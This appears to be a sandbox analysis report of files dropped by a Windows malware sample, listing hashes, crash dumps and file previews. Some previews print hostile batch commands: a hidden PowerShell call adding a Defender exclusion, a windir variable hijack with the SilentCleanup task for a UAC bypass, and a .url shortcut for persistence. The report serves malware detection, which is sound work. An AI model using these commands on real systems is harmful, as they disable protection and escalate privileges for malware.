MD5:	0AFB90A907C2CB5645001B7DC737A1BC
SHA1:	5BB3CAD9C8B60B77034ABABA24E4B6BC69D6BC51
SHA-256:	A07F234D78F16FA075540718208A98FC6BFBD998AA75A44573544C9EAAE7FFD2
SHA-512:	41A823CDD362957BC25086FE99B354A01F0F41F4568EAE4895625B23112AFF595CE954E3AE23CBB1F69D995AB3736B5E6EF5E3984C0D7B11CF7289DCD362CA3E
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.2.7.7.2.7.3.6.4.8.5.1.8.7.1.4.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.2.7.7.2.7.3.6.5.9.5.1.8.6.0.7.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.6.7.9.7.2.e.0.-.0.3.5.3.-.4.7.2.5.-.b.6.4.b.-.4.0.9.5.8.f.3.1.1.d.2.7.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.1.a.5.e.6.6.9.b.-.e.e.6.e.-.4.2.c.6.-.b.4.a.c.-.1.c.c.b.1.9.f.1.0.d.d.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.s.e.c.i.n.i.t...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.s.e.c.i.n.i.t.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.2.b.4.-.0.0.0.1.-.0.0.1.7.-.3.f.c.0.-.5.a.a.b.1.9.b.4.d.7.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.1.0.d.7.5.8.a.2.a.1.8.0.8.2.9.c.4.7.3.6.0.a.f.d.3.0.b.e.0.9.f.b.2.9.5.e.6.4.5.2.!.s.e.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1560.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Sep 28 03:33:58 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	47848
Entropy (8bit):	1.8975263302636547
Encrypted:	false
SSDEEP:	96:5oVU8M/8YdIH/J/O2fnyZM3p7wN1PwTaMqoM/78Dj3MbiZU5DRuKX1z0my+m+VWl:qG3fWwNNwTaMqosvbEYFuKWjdDE+V
MD5:	322C900FA73E0B64EB81392AFB210183
SHA1:	7464F87E882E5F1D9649ED642AB887F196ED2194
SHA-256:	D887EAB43DD552A847AA694458AECC056B8FAB202985F556232293AF321E4479
SHA-512:	F6F1C6B02AAFC26D751A81E340324D82327870DBEF9DD285A6E7E9357150D955DFCCF5352DCC690175B42D650FDEACC54A8C7721A075FC13134812759D4CCD0A
Malicious:	false
Preview:	MDMP....... .......&.Ra...................U...........B......$.......GenuineIntelW...........T....... .....Ra.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1F25.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8292
Entropy (8bit):	3.6964343999904816
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiPf6Isg9ZX6YAoo61gmfG1SUQCprc89bGdsf4Iim:RrlsNiH6IsE6Yg61gmfG1SUhGWf4s
MD5:	825DF4CB1EE3BA0E20F1D8ADEEF2E894
SHA1:	9F8244D7E859072997DACE0D48CF30C822CFC54E
SHA-256:	70349C2180B3138684B4BDFE0C7E25549ACAE28E7AC4C03EA9AF3F5C8E43C451
SHA-512:	F6616EF0469C1C7F3E984E97EF1DE5D46A5DD531824E015A2CDF2440A81779DF5DB1D1C5371CC50845E2472C3AE1146CB94A19B38FC2991BC9B04A9C6064F5B2
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.3.1.2.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER25CD.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4664
Entropy (8bit):	4.487176436907686
Encrypted:	false
SSDEEP:	48:cvIwSD8zsVJgtWI9LjWSC8BT8fm8M4JaNEZFn5+q8AjULR0EQXYd:uITfvkSSNCJaiD53QLqNXYd
MD5:	754EA479E855594C7632FA63DCDAF93E
SHA1:	F2D8F1C6B6AC15493BF54EE157EFF014AA13F06B
SHA-256:	6428CBC708EA665C2629A4E866519ACD1A6E7B60F4A127442E575242C756756F
SHA-512:	1DEF90961990CA04432344D3382754BBEB385983EEE7BFD957AA323F325656A5DE47135633A67A929E8FE2C3ABCC498D623C19C38BA255975F8CFD5B2985FBB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1185884" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER46C0.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Sep 28 03:34:10 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	44076
Entropy (8bit):	1.8108997398587907
Encrypted:	false
SSDEEP:	96:5cfq8M/1Okdjn6Jr3mOcfnVZMOlP4FQBrBDUiTfvKVZIPVJdIAWIRWI5mI5R0DSF:y+/1+jUZU+fvKV+PV4OR0DRU
MD5:	20415FF406758932D9D6C07D1212460F
SHA1:	1CAF6CCE25B7BD1C8A5E07389205DD08D48349FF
SHA-256:	F70765C41289408C063F8F1B1C6C566EA1476A4C2F1BD2032BD8BAE72C0A6DE6
SHA-512:	AD1B3B291D86CC26588BC2CCC5FC10F02576FA251DA82CC08FC51030DF4C3812AB7EFFB9C89CB43F7DFE87BFB418B573CB5FE8122F58807A93B8DDF698D9B908
Malicious:	false
Preview:	MDMP....... .......2.Ra...................U...........B......<.......GenuineIntelW...........T...........%.Ra.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4E91.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8286
Entropy (8bit):	3.6967522492696134
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNitB6V6YBIi69/gmfGdSUQCprF89btpsf0cPm:RrlsNir6V6YBl6lgmfGdSUKtCfw
MD5:	8E90D5567E0535E68929F6C7B9D30F8A
SHA1:	770D8138A2720903C2FF91C07CDF25B6E28B87B7
SHA-256:	0B1880058BD7957B3D994FE19365FFF19EBFCD6F14047071311B835F45041577
SHA-512:	4C839FAEC198AAA7AA216B1477385275D987755F16C163C538A856923A0067C12AD1726B125DD002E14E2D4C4A7EB8E75A7CDE4CA479F8E740766135A10EFA36
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.4.7.8.8.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER55F5.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4659
Entropy (8bit):	4.480921696379884
Encrypted:	false
SSDEEP:	48:cvIwSD8zsVJgtWI9LjWSC8B08fm8M4JeLEZFk+q8+9Ut0RmWd:uITfvkSSNfJBgeORmWd
MD5:	890A5733410A10EC0FE79F7EB950BA08
SHA1:	5765B6D43DF1ED97C16DE7230291D08B66DFFE1C
SHA-256:	F1A1F9B0F67016630ECA7D63245D871DB6FEAF9121294007E79B69E69A7057AF
SHA-512:	873CFF5508E6EF59C853393189934B709553250C3696B5A9531E10A212C96E6955A0E88DF902EF1F45D06E8C077CE0201BB366B1E6EF28FEAC5A923C3D00B5FB
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1185884" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER79AC.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Sep 28 03:33:16 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	45036
Entropy (8bit):	1.7722318207971846
Encrypted:	false
SSDEEP:	96:5R28M/fbEOEpflWvk6Hg1cDInM+MK4GlbfnFZMuhMjJU++3UiTfv3+vCg3qjwWIU:GoOEpflYL0SGlfU+fv3+vCg3qyuHF
MD5:	57A7A50F44CA83EFD587C00F4391B8B9
SHA1:	113802F3C46091D0AAF3016C6B22BF94D545CEEF
SHA-256:	5217FEEC3ED0213E20ACFF8E6BDFD87977EBD7776C4C1C0BAB2C38E6B381C819
SHA-512:	B052682B3D4FD7402B9183B88DB9B1DD222BFC3EFCE095E1EAF23B50EEA04AF300BE1B3DE11ECDFA6979C4FAA1C1FF3060295AF786ED8A4865B4ACF7034E2473
Malicious:	false
Preview:	MDMP....... .........Ra...................U...........B......<.......GenuineIntelW...........T.............Ra.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.............................................................................................................................................................................................................................................................................................................................................................................................................................................................d.b.g.c.o.r.e...i.3.8.6.,.1.0...0...1.7.1.3.4...1.........................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7D67.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8284
Entropy (8bit):	3.69626134205586
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiEP6U6YEB64gmfGdSUQCpr/89b1hsfmHm:RrlsNis6U6Ya64gmfGdSUY1afn
MD5:	8B7BD913C6FF8EC81BEDF87892B708FB
SHA1:	E9C260541C4028F1C138405E232F498C3040A9B2
SHA-256:	F6282AD39D734EED9125871723EC6E2F4D7CE76FAAB21A6E9261D2FCD51166B1
SHA-512:	83F56952DFECC0276741B9FFA25FC70CA8B041556FCDC4BB447FCF4AB01C6AACC670E91FA5C87C9959645AF7590F7CA1820FCD5919E01312BC92373006015AB7
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.8.4.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER81DC.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4659
Entropy (8bit):	4.48394251397244
Encrypted:	false
SSDEEP:	48:cvIwSD8zswJgtWI9LjWSC8BEn8fm8M4JeLEZF8C+q8+9Uyj0Rmcqd:uITf2kSSNasJBoCeyIRm9d
MD5:	37A63E134E6E6725C77FEEA173D01EFE
SHA1:	3D807D92B74E60EE760AA648988457D86017E50D
SHA-256:	EA7B4720BE0C158804B2A9B3D6F8CBE1607A4E2E0A9D6285F0BAA6E27A84D7F4
SHA-512:	C00F1E996F8C0F973CDECF7DBFA6CDCD7758FE8BC611B84CA95AE0E74D79A1D72468AAF344D9959A7F500972F21DC191B918DB8EF533623CFB0AB6595A42D087
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1185883" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\Users\Public\KDECO.bat Download File
Process:	C:\Users\user\Desktop\fTset285bI.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	155
Entropy (8bit):	4.687076340713226
Encrypted:	false
SSDEEP:	3:LjT5LJJFIf9oM3KN6QNb3DM9bWQqA5SkrF2VCceGAFddGeWLCXlRA3+OR:rz81R3KnMMQ75ieGgdEYlRA/R
MD5:	213C60ADF1C9EF88DC3C9B2D579959D2
SHA1:	E4D2AD7B22B1A8B5B1F7A702B303C7364B0EE021
SHA-256:	37C59C8398279916CFCE45F8C5E3431058248F5E3BEF4D9F5C0F44A7D564F82E
SHA-512:	FE897D9CAA306B0E761B2FD61BB5DC32A53BFAAD1CE767C6860AF4E3AD59C8F3257228A6E1072DAB0F990CB51C59C648084BA419AC6BC5C0A99BDFFA569217B7
Malicious:	false
Preview:	start /min powershell -WindowStyle Hidden -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath 'C:\Users'" & exit

C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe Download File
Process:	C:\Users\user\Desktop\fTset285bI.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1009152
Entropy (8bit):	6.964910807610464
Encrypted:	false
SSDEEP:	24576:L5A8SqIkJpbDpQc6ScVHdJaHxA7VhLRYF:Lr5ZoHdJaRyzKF
MD5:	1FB012F2414DA5A3515F704E855AB770
SHA1:	1D5FF9DB7DFEAF2D4B0200FBBDA00E89D058F525
SHA-256:	6CAF3E91A0BB501D8E7D08D8463407315DEBB31757137E5362795D91C161E6D6
SHA-512:	CC01DE90BCFA8235B7E81D1BFF4DA5FC204DB8C58027D97AD75BA953F7615BC9ED1817EE27847D9DA566C2021EF80761F4065AE1E82A6FFCF2364D2B20E577C9
Malicious:	true
Antivirus:	Antivirus: Virustotal, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 27%
Preview:	MZ......................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^..................j...........z............@..............................................@...............................(......./...................@..0r...........0...............0..........................X....................................].......^.................. ..`........P....p.......b.............. ..`.........&.......(...n..............@............8.......................................(.........................@...........4.... ..................................0....0......................@..@........0r...@...t..................@..B........./.......0...6..............@..@.............0......................@..@................................................................................................

C:\Users\Public\Libraries\zxdpbyQ.url Download File
Process:	C:\Users\user\Desktop\fTset285bI.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Qybpdxz\\Qybpdxz.exe">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	96
Entropy (8bit):	4.904147433676457
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XMDLlHRkAHovsGKd6ov:HRYFVmTWDyzMLdRkAIvsbDv
MD5:	899A0E26A164196A06E013B0FBF27EB5
SHA1:	94FBA9D441811D04521749C2C69FB502903FB758
SHA-256:	87F55AD94F5599DF480E40579F2EAC0888AB943E79DD95383002DD477E487846
SHA-512:	5504DAE132E137012E3E31AF82D0201B57E0AA0F2757B4F40CEC7181E86DDD115DFF0F9A94B915DD8804B0ED13CBD5591DD7067001F0A7CC44E906B713B4487D
Malicious:	false
Yara Hits:	Rule: Methodology_Contains_Shortcut_OtherURIhandlers, Description: Detects possible shortcut usage for .URL persistence, Source: C:\Users\Public\Libraries\zxdpbyQ.url, Author: @itsreallynick (Nick Carr)
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Qybpdxz\\Qybpdxz.exe"..IconIndex=2..

C:\Users\Public\Trast.bat Download File
Process:	C:\Users\user\Desktop\fTset285bI.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	34
Entropy (8bit):	4.314972767530033
Encrypted:	false
SSDEEP:	3:LjTnaHF5wlM:rnaHSM
MD5:	4068C9F69FCD8A171C67F81D4A952A54
SHA1:	4D2536A8C28CDCC17465E20D6693FB9E8E713B36
SHA-256:	24222300C78180B50ED1F8361BA63CB27316EC994C1C9079708A51B4A1A9D810
SHA-512:	A64F9319ACC51FFFD0491C74DCD9C9084C2783B82F95727E4BFE387A8528C6DCF68F11418E88F1E133D115DAF907549C86DD7AD866B2A7938ADD5225FBB2811D
Malicious:	false
Preview:	start /min C:\Users\Public\UKO.bat

C:\Users\Public\UKO.bat Download File
Process:	C:\Users\user\Desktop\fTset285bI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250
Entropy (8bit):	4.865356627324657
Encrypted:	false
SSDEEP:	6:rgnMXd1CQnMXd1COm8hnaHNHIXUnMXd1CoD9c1uOw1H1gOvOBAn:rgamIHIXUaXe1uOeVqy
MD5:	EAF8D967454C3BBDDBF2E05A421411F8
SHA1:	6170880409B24DE75C2DC3D56A506FBFF7F6622C
SHA-256:	F35F2658455A2E40F151549A7D6465A836C33FA9109E67623916F889849EAC56
SHA-512:	FE5BE5C673E99F70C93019D01ABB0A29DD2ECF25B2D895190FF551F020C28E7D8F99F65007F440F0F76C5BCAC343B2A179A94D190C938EA3B9E1197890A412E9
Malicious:	false
Preview:	reg delete hkcu\Environment /v windir /f..reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "..schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I & exit..

C:\Users\Public\nest Download File
Process:	C:\Users\user\Desktop\fTset285bI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:l1Bdyn:XBdyn
MD5:	47AF9710A0C5E485FCD4F9B8FD5716B0
SHA1:	C11ABD0EB089AE5CC60BBDD89E38B81BB89B2853
SHA-256:	E90E867A868D70D05938AD75FDEA66887054E4E13FF36B9ADC2F739865575A7A
SHA-512:	306304F8AA4149C52D3B512A7111B270756B820C9E15DB0F3633C91DCFC56C3DFC57E3DCB5CDFA937738F851AE9EA97676FAADC26A982E18F96B954228D783C5
Malicious:	false
Preview:	Qybpdxz..

C:\Users\Public\nest.bat Download File
Process:	C:\Users\user\Desktop\fTset285bI.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	53
Entropy (8bit):	4.263285494083192
Encrypted:	false
SSDEEP:	3:LjT9fnMXdemzCK0vn:rZnMXd1CV
MD5:	8ADA51400B7915DE2124BAAF75E3414C
SHA1:	1A7B9DB12184AB7FD7FCE1C383F9670A00ADB081
SHA-256:	45AA3957C29865260A78F03EEF18AE9AEBDBF7BEA751ECC88BE4A799F2BB46C7
SHA-512:	9AFC138157A4565294CA49942579CDB6F5D8084E56F9354738DE62B585F4C0FA3E7F2CBC9541827F2084E3FF36C46EED29B46F5DD2444062FFCD05C599992E68
Malicious:	false
Preview:	start /min reg delete hkcu\Environment /v windir /f..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3Y2ADQKS\Qybpdxzxxjklicipydzdiinowujxlof[1] Download File
Process:	C:\Users\user\Desktop\fTset285bI.exe
File Type:	data
Category:	dropped
Size (bytes):	569856
Entropy (8bit):	7.99282321434094
Encrypted:	true
SSDEEP:	12288:dYc60EnAVs6C0uOxSlpED13CIsocT9N2x5TWyLaWK2qjfxNmn6YNm63LcoYj/PA:Wc60EnAVTuOxSba3koow5ba33m6YwEcO
MD5:	B006F7C6421D7B2136A4E9C6C2BFD063
SHA1:	805934F19FD118F344335DB386B74E21E06E9804
SHA-256:	DB9F569B3D39C68C16D4F81439985136CE1D22A690BA58F28F9519C514158EDD
SHA-512:	D0F4A9271E3B320C2FE248B53D528EBCD80531899084E4A515E3848A3CC81F56B9BF87570A6E720F12E07C9B6C3F20C649D58E0CF5E85862B0238F9828087AB8
Malicious:	false
Preview:	...2z.....d.M..m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M....7.Z..._cw S]b....).....T.....4....o...$X....m.......L5.8.5..6....M.....b....M..{M..^...h...a/..)........K...b....M..{M..^...j......M..{M..^...mL\|...g<V..:Q.[".}r.....2>[ R..v....l.(&!.....b.....2>X....q4-......f....B1.}!.K.n.^..t..........v....T.BT..P.n.k..X....c..."OT.5..{....wT.I....#......{..........).H t...wT.I....#......{..........&N.n..+..u.U"OT..t..X.....X....u.8..>5..{....wT.I....#......{..........p....y.. ...0...Gv...-.k....Zq..g..Zi....Rv.../^M..>........y..A.w.a..gt.'jp~PL.th..q......RTM9.7na...Y..K1..I!.,.D.....'e..O...{..m...%.......J....9H.j.....F.7...A..`Y.J.H....t,..be..7'^XdT\|.I....e.h~.'L.@......~...n3? Q.x...O.}..K.*..l..(...dW.q../T....\|..i.p>.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\Qybpdxzxxjklicipydzdiinowujxlof[1] Download File
Process:	C:\Users\Public\Libraries\Qybpdxz\Qybpdxz.exe
File Type:	data
Category:	dropped
Size (bytes):	569856
Entropy (8bit):	7.99282321434094
Encrypted:	true
SSDEEP:	12288:dYc60EnAVs6C0uOxSlpED13CIsocT9N2x5TWyLaWK2qjfxNmn6YNm63LcoYj/PA:Wc60EnAVTuOxSba3koow5ba33m6YwEcO
MD5:	B006F7C6421D7B2136A4E9C6C2BFD063
SHA1:	805934F19FD118F344335DB386B74E21E06E9804
SHA-256:	DB9F569B3D39C68C16D4F81439985136CE1D22A690BA58F28F9519C514158EDD
